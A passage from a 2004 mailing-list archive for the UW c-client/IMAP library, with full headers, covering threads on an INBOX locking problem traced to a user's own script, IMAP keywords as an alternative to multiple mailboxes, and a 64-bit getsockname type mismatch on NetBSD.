(list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96KKjnI025224 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 6 Oct 2004 13:20:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i96KKdYN007628; Wed, 6 Oct 2004 13:20:39 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96KJFN7084408 for ; Wed, 6 Oct 2004 13:19:15 -0700 Received: from sphinx.hamla.org (sphinx.hamla.org [69.55.228.24]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i96KJEcs023936 for ; Wed, 6 Oct 2004 13:19:15 -0700 Received: from localhost (sphinx [69.55.228.24]) by sphinx.hamla.org (Postfix) with ESMTP id 355B12C3AB for ; Wed, 6 Oct 2004 16:19:14 -0400 (EDT) Received: from sphinx.hamla.org ([69.55.228.24]) by localhost (sphinx.hamla.org [69.55.228.24]) (amavisd-new, port 10024) with ESMTP id 19128-09 for ; Wed, 6 Oct 2004 16:19:13 -0400 (EDT) Received: from sphinx.hamla.org (sphinx [69.55.228.24]) by sphinx.hamla.org (Postfix) with ESMTP id 5CB9B2C3AA for ; Wed, 6 Oct 2004 16:19:13 -0400 (EDT) Received: from piinbh7-x0.ms.com (piinbh7-x0.ms.com [199.89.64.39]) by webmail.hamla.org (IMP) with HTTP for ; Wed, 6 Oct 2004 16:19:13 -0400 Message-Id: <1097093953.4164534123ed2@webmail.hamla.org> Date: Wed, 6 Oct 2004 16:19:13 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: sahil@hamla.org To: c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: References: <1096985506.4162aba207af1@webmail.hamla.org> <1097010557.41630d7daf671@webmail.hamla.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 199.89.64.39 X-Virus-Scanned: by ClamAV at sphinx.hamla.org X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Peter Ip : > These are unix format inboxes. (We are slowly migrating to MBX format.) Really? I noticed the filename was INBOX - looks MBXish to me; the traditional UNIX mailbox format inbox is typically stored in /var/mail/$username. Did you modify the UW imapd source at all? I don't think we're all on the same page here. > Is there a situation where a temporary INBOX is created e.g. for expunge > and if two imapds are running at the same time that one imapd gets the > inode of another's temp file? AFAIK, no. -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Wed Oct 6 14:07:15 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Oct 2004 14:07:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96L7F80020367 for ; Wed, 6 Oct 2004 14:07:15 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96L7EGD005430 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 6 Oct 2004 14:07:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i96L769j015584; Wed, 6 Oct 2004 14:07:06 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96L6AMX067492 for ; Wed, 6 Oct 2004 14:06:10 -0700 Received: from ariel.utcc.utoronto.ca (ariel.utcc.utoronto.ca [128.100.103.95]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i96L69Ol011280 for ; Wed, 6 Oct 2004 14:06:09 -0700 Received: from ip@localhost (fake: stdin (EHLO localhost) (ident: uid#103@localhost)) by ariel.utcc.utoronto.ca with ESMTP id <94-3914>; Wed, 6 Oct 2004 17:06:04 -0400 Message-Id: Date: Wed, 6 Oct 2004 17:05:54 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Ip To: sahil@hamla.org Cc: c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: <1097093953.4164534123ed2@webmail.hamla.org> References: <1096985506.4162aba207af1@webmail.hamla.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: Peter Ip X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P1_5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 6 Oct 2004 sahil@hamla.org wrote: > From: sahil@hamla.org > To: c-client@u.washington.edu > Date: Wed, 6 Oct 2004 16:19:13 -0400 > Subject: Re: locking problem in imap-2002b > > Quoting Peter Ip : > >> These are unix format inboxes. (We are slowly migrating to MBX format.) > > Really? I noticed the filename was INBOX - looks MBXish to me; the traditional > UNIX mailbox format inbox is typically stored in /var/mail/$username. Did you > modify the UW imapd source at all? I don't think we're all on the same page > here. Yes we did modify the source, but only in the env_unix.c to change the location of the sysinbox and the homedirectory. Peter _____________________________________________________ Peter Ip, PhD Computing and Network Services, University of Toronto email: peter.ip@utoronto.ca From pinedev@shivax2.cac.washington.edu Thu Oct 7 00:49:12 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Oct 2004 00:49:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i977nCiw007978 for ; Thu, 7 Oct 2004 00:49:12 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i977nB8i030419 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Oct 2004 00:49:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i977n1cx007636; Thu, 7 Oct 2004 00:49:01 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i977lEDH036792 for ; Thu, 7 Oct 2004 00:47:14 -0700 Received: from server883.dnslive.net (server883.dnslive.net [66.78.27.6]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i977lCQx017667 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 7 Oct 2004 00:47:13 -0700 Received: from c-24-7-106-19.client.comcast.net ([24.7.106.19] helo=[127.0.0.1]) by server883.dnslive.net with esmtpa (Exim 4.42) id 1CFSzT-0003Xp-Qd; Thu, 07 Oct 2004 03:47:09 -0400 Message-Id: <4164F459.308@overbored.net> Date: Thu, 07 Oct 2004 00:46:33 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: overbored To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Help Running UW-IMAPD Under Cygwin In-Reply-To: References: <41317CF4.4070109@overbored.net> <41325F9D.7090907@overbored.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server883.dnslive.net X-AntiAbuse: Original Domain - u.washington.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - overbored.net X-Source: X-Source-Args: X-Source-Dir: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It's basically a different way of organizing email, different from the concept of folders (mailboxes/directories). Let's say I sort all my mail from a mailing list to one folder, and all my mail from friends to another. If I get a message from my friend sent to both me and the folder, I would like for it to show up in both folders. I believe this is the main idea behind "search folders." All your mail is actually just in one place (one mailbox) but you can have multiple views over this (and preferrably the views are arranged hierarchically, instead of a flat list, so I could have the views 'Friends' and 'Friends/Joe'). In other words, they're like instant search filters. I realize that this is probably implemented in clients (just a matter of building/maintaining an index over the mail), but with multiple clients, you'd have to reproduce and synchronize the filters for each of them, and also the server wouldn't be filtering these for you as the mail comes in. What I was mentioning were the attributes which I read about in the IMAP RFC. These were intended for things like 'Seen', 'Answered', 'Flagged', etc. What I'm wonder is if it's possible, efficient, or even a convention to use them for views ('Some mailing list', 'Friends/Joe', 'Sent directly to me', etc,). Or perhaps there is a better way? Or no way at all? >> (4) (This is more of an IMAP protocol question.) I glanced at the RFC >> for IMAP. Is there the concept of views/search folders/dynamic >> filters? It seems that the 'mailbox' concept is like a folder, in that >> a message can only belong to one. The closest thing I could find was >> the attribute, but it was intended for things like 'read', etc.; can >> this be used for the above purpose, or is IMAP not a good protocol to >> use for searching? > > I don't understand this question. Please rephrase it, and avoid the use > of the word "folder" which has imprecise meaning. Use the term > "mailbox" (a name that holds messages), "directory" (a name that holds > other names), or "dual-use name" (a name that is both a mailbox and a > directory). From pinedev@shivax2.cac.washington.edu Thu Oct 7 01:22:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Oct 2004 01:22:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i978Mxei009375 for ; Thu, 7 Oct 2004 01:22:59 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i978MwEC003455 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Oct 2004 01:22:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i978MpBU014726; Thu, 7 Oct 2004 01:22:51 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i978LrA5051302 for ; Thu, 7 Oct 2004 01:21:53 -0700 Received: from server883.dnslive.net (server883.dnslive.net [66.78.27.6]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i978LoOj022805 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 7 Oct 2004 01:21:53 -0700 Received: from c-24-7-106-19.client.comcast.net ([24.7.106.19] helo=[127.0.0.1]) by server883.dnslive.net with esmtpa (Exim 4.42) id 1CFTX3-00080z-DI; Thu, 07 Oct 2004 04:21:49 -0400 Message-Id: <4164FC7B.9070505@overbored.net> Date: Thu, 07 Oct 2004 01:21:15 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: overbored To: overbored Cc: Mark Crispin , c-client@u.washington.edu Subject: Re: Help Running UW-IMAPD Under Cygwin In-Reply-To: <4164F459.308@overbored.net> References: <41317CF4.4070109@overbored.net> <41325F9D.7090907@overbored.net> <4164F459.308@overbored.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server883.dnslive.net X-AntiAbuse: Original Domain - u.washington.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - overbored.net X-Source: X-Source-Args: X-Source-Dir: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Another idea (aside from attributes) is that maybe the server can make use of symbolic links to the email messages (at least for servers that use Maildirs). Thus spake overbored on 10/7/2004 12:46 AM: > It's basically a different way of organizing email, different from the > concept of folders (mailboxes/directories). > > Let's say I sort all my mail from a mailing list to one folder, and all > my mail from friends to another. If I get a message from my friend sent > to both me and the folder, I would like for it to show up in both folders. > > I believe this is the main idea behind "search folders." All your mail > is actually just in one place (one mailbox) but you can have multiple > views over this (and preferrably the views are arranged hierarchically, > instead of a flat list, so I could have the views 'Friends' and > 'Friends/Joe'). In other words, they're like instant search filters. > > I realize that this is probably implemented in clients (just a matter of > building/maintaining an index over the mail), but with multiple clients, > you'd have to reproduce and synchronize the filters for each of them, > and also the server wouldn't be filtering these for you as the mail > comes in. > > What I was mentioning were the attributes which I read about in the IMAP > RFC. These were intended for things like 'Seen', 'Answered', 'Flagged', > etc. What I'm wonder is if it's possible, efficient, or even a > convention to use them for views ('Some mailing list', 'Friends/Joe', > 'Sent directly to me', etc,). Or perhaps there is a better way? Or no > way at all? > >>> (4) (This is more of an IMAP protocol question.) I glanced at the RFC >>> for IMAP. Is there the concept of views/search folders/dynamic >>> filters? It seems that the 'mailbox' concept is like a folder, in >>> that a message can only belong to one. The closest thing I could find >>> was the attribute, but it was intended for things like 'read', etc.; >>> can this be used for the above purpose, or is IMAP not a good >>> protocol to use for searching? >> >> >> I don't understand this question. Please rephrase it, and avoid the >> use of the word "folder" which has imprecise meaning. Use the term >> "mailbox" (a name that holds messages), "directory" (a name that holds >> other names), or "dual-use name" (a name that is both a mailbox and a >> directory). > > From pinedev@shivax2.cac.washington.edu Thu Oct 7 05:44:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Oct 2004 05:44:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97CinTx018000 for ; Thu, 7 Oct 2004 05:44:49 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97Cim1d008161 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Oct 2004 05:44:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i97CidUt012926; Thu, 7 Oct 2004 05:44:40 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97ChEVs122060 for ; Thu, 7 Oct 2004 05:43:14 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i97ChEoc025451 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 7 Oct 2004 05:43:14 -0700 Received: from harmony.distal.com (pcp04370856pcs.nrockv01.md.comcast.net [69.140.219.113]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97ChCrC008131 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Oct 2004 05:43:13 -0700 Received: from [206.138.151.12] (pcp04370856pcs.nrockv01.md.comcast.net [69.140.219.113]) by harmony.distal.com (8.12.11/8.12.11) with ESMTP id i97Ch25P006484; Thu, 7 Oct 2004 08:43:02 -0400 (EDT) Message-Id: Date: Thu, 7 Oct 2004 08:44:32 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: Mark Crispin Cc: c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Much time has passed. Oops. :-) On Sep 22, 2004, at 03:42, Mark Crispin wrote: > On Wed, 22 Sep 2004, Chris Ross wrote: >> Particularly, tho, I've found a problem that doesn't produce an error. >> In tcp_unix.c, getsockname() is called, and the third argument given >> to is is a size_t*. However, on NetBSD, it calls for a socklen_t*, >> which >> is a pointer to a 32-bit value, and size_t is a long, and therefore >> 64 bits. > > Sigh. On some systems, it's an int* (and socklen_t is undefined). On > some, it's a socklen_t*. And on some, it's a size_t* (and socklen_t > is undefined). At UW, we have examples of all three; and there's no > good way for the code to know what it is on the system being built. > That's why c-client casts it to a void*. > > I suggest that the best thing to do is have the NETBSD osdep files > redefine getsockname() as a jacket function into the real one. Take a > look at the SCO osdep files for an example (e.g. how rename() gets > redefined). Of course, that assumes that all NETBSD is 64 bit or at > least follows the socklen_t* convention; if not then a new port has to > be spawned off. Okay. I quick look at recent BSD/OS revisions (4.3 and 5.x) shows that socklen_t is used there. I assume the same is true of OpenBSD, but will check that. I should investigate FreeBSD, in case it's the same there, too, and modify bsf as well as bsi. So, do you suggest I do what the SCO port does, and have a different .c file with the wrapper function in it, or should I just put it in os_bsi.c? I guess if both bsi and bsf use it, that answers the question... - Chris From pinedev@shivax2.cac.washington.edu Thu Oct 7 08:14:33 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Oct 2004 08:14:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97FEX3I022133 for ; Thu, 7 Oct 2004 08:14:33 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97FEWwn013994 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Oct 2004 08:14:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i97FEK45015254; Thu, 7 Oct 2004 08:14:20 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97FCetM029784 for ; Thu, 7 Oct 2004 08:12:40 -0700 Received: from ariel.utcc.utoronto.ca (ariel.utcc.utoronto.ca [128.100.103.95]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i97FCdjJ005649 for ; Thu, 7 Oct 2004 08:12:40 -0700 Received: from ip@localhost (fake: stdin (EHLO localhost) (ident: uid#103@localhost)) by ariel.utcc.utoronto.ca with ESMTP id <94-15767>; Thu, 7 Oct 2004 11:12:29 -0400 Message-Id: Date: Thu, 7 Oct 2004 11:12:22 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Ip To: Mark Crispin Cc: sahil@hamla.org, c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: References: <1096985506.4162aba207af1@webmail.hamla.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: Peter Ip X-X-Sender: ip@ariel.utcc.utoronto.ca X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P1_5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 6 Oct 2004, Mark Crispin wrote: > From: Mark Crispin > To: Peter Ip > Cc: sahil@hamla.org, c-client@u.washington.edu > Date: Wed, 6 Oct 2004 11:44:14 -0700 (Pacific Daylight Time) > Subject: Re: locking problem in imap-2002b > > On Wed, 6 Oct 2004, Peter Ip wrote: >> These are unix format inboxes. (We are slowly migrating to MBX format.) >> Is there a situation where a temporary INBOX is created e.g. for expunge >> and if two imapds are running at the same time that one imapd gets the >> inode of another's temp file? > > Nothing like that happens in UW imapd, so whatever is going on is something > else. > I've found the culprit. It was a script I wrote. I didn't do proper locking of the INBOX. Thanks anyway. Peter _____________________________________________________ Peter Ip, PhD Computing and Network Services, University of Toronto email: peter.ip@utoronto.ca From pinedev@shivax2.cac.washington.edu Thu Oct 7 10:43:56 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Oct 2004 10:43:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97Hhu6h028829 for ; Thu, 7 Oct 2004 10:43:56 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97HhtM9021166 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Oct 2004 10:43:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i97HhneP019146; Thu, 7 Oct 2004 10:43:49 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97HgQWB036718 for ; Thu, 7 Oct 2004 10:42:26 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i97HgPNN021579 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 7 Oct 2004 10:42:25 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97HgPbe029265; Thu, 7 Oct 2004 10:42:25 -0700 Received: from Shimo-Tomobiki.Panda.COM (64.221.254.66.ptr.us.xo.net [64.221.254.66]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97HgJNS027023 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 7 Oct 2004 10:42:23 -0700 Message-Id: Date: Thu, 7 Oct 2004 10:42:19 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: overbored Cc: c-client@u.washington.edu Subject: Re: Help Running UW-IMAPD Under Cygwin In-Reply-To: <4164F459.308@overbored.net> References: <41317CF4.4070109@overbored.net> <41325F9D.7090907@overbored.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Oct 2004, overbored wrote: > Let's say I sort all my mail from a mailing list to one folder, and all my > mail from friends to another. If I get a message from my friend sent to both > me and the folder, I would like for it to show up in both folders. Instead of using separate mailboxes (there is no such thing as "folder" in IMAP), perhaps you may want to use IMAP keywords? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 7 16:47:03 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Oct 2004 16:47:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97Nl3E5012472 for ; Thu, 7 Oct 2004 16:47:03 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97Nl2VU005294 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Oct 2004 16:47:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i97Nkqrt012322; Thu, 7 Oct 2004 16:46:52 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i97Niedw098990 for ; Thu, 7 Oct 2004 16:44:40 -0700 Received: from server883.dnslive.net (server883.dnslive.net [66.78.27.6]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i97Nid4U006763 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 7 Oct 2004 16:44:40 -0700 Received: from c-24-7-106-19.client.comcast.net ([24.7.106.19] helo=[127.0.0.1]) by server883.dnslive.net with esmtpa (Exim 4.42) id 1CFhwB-0000UO-EG; Thu, 07 Oct 2004 19:44:43 -0400 Message-Id: <4165D4E5.2070904@overbored.net> Date: Thu, 07 Oct 2004 16:44:37 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: overbored To: Mark Crispin Cc: c-client@u.washington.edu Subject: General questions on IMAP Keywords (was Re: Help Running UW-IMAPD Under Cygwin) In-Reply-To: References: <41317CF4.4070109@overbored.net> <41325F9D.7090907@overbored.net> <4164F459.308@overbored.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server883.dnslive.net X-AntiAbuse: Original Domain - u.washington.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - overbored.net X-Source: X-Source-Args: X-Source-Dir: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ah, I believe that's exactly what I'm looking for. Now I'm wondering what clients support IMAP keywords (the only one I currently know of is Pine). Also, for those that don't support it (AFAIK, this includes mutt and TBird), are there any workarounds (e.g., making these collections of keywords appear to the client as a collection of traditional folders)? Lastly, is there a standardized naming scheme for IMAP keywords? In particular, I'm wondering how hierarchies of keywords are represented (e.g., "/Friends/" and "/Friends/Joe Schmoe/")? And can these have keyword strings contain spaces in them? Thus spake Mark Crispin on 10/7/2004 10:42 AM: > On Thu, 7 Oct 2004, overbored wrote: > >> Let's say I sort all my mail from a mailing list to one folder, and >> all my mail from friends to another. If I get a message from my friend >> sent to both me and the folder, I would like for it to show up in both >> folders. > > > Instead of using separate mailboxes (there is no such thing as "folder" > in IMAP), perhaps you may want to use IMAP keywords? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > > > From pinedev@shivax2.cac.washington.edu Mon Oct 11 02:06:13 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; 